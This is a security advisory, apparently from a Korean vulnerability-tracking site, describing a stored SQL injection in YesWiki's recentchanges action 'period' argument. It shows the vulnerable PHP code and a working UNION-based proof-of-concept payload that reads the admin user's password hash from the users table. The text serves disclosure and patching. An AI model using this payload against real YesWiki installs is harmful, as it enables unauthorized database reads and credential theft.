YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.
The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.
Details
Two issues compose the vulnerability.
-
actions/recentchanges.phpline 33 reads the action argument and skips the whitelist.bash1if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) {2 switch ($_GET['period']) {3 case 'day': $d = strtotime('-1 day'); $dateMin = date('Y-m-d H:i:s', $d); break;4 case 'week': $d = strtotime('-1 week'); $dateMin = date('Y-m-d H:i:s', $d); break;5 case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break;6 }7} else {8 $dateMin = $this->GetParameter('period');9}Wiki::GetParameter()(includes/YesWiki.php:895) reads$this->parameter[$key], which is populated from the{{action key=value}}argument list — disjoint from$_GET. The whitelist'sifbranch only runs when$_GET['period']matches one of three exact values; in every other case theelsebranch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent. -
In
includes/services/PageManager.php,PageManager::getRecentlyChanged()interpolates the value into SQL.
1public function getRecentlyChanged($limit = 50, $minDate = ''): ?array 2{ 3 if (!empty($minDate)) { 4 if ($pages = $this->dbService->loadAll( 5 'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages') 6 . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc" 7 )) { 8 return $pages; 9 }10 }11}$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.
The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.
PoC
Default fresh install so default_write_acl='*'.
- place the SQLi payload on a page
1{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.
- anyone visits the page
1GET /?<TriggerPage> HTTP/1.1 2Host: target.exampleThe injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).
Impact
Arbitrary read of any DB column the application's MySQL user can access.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.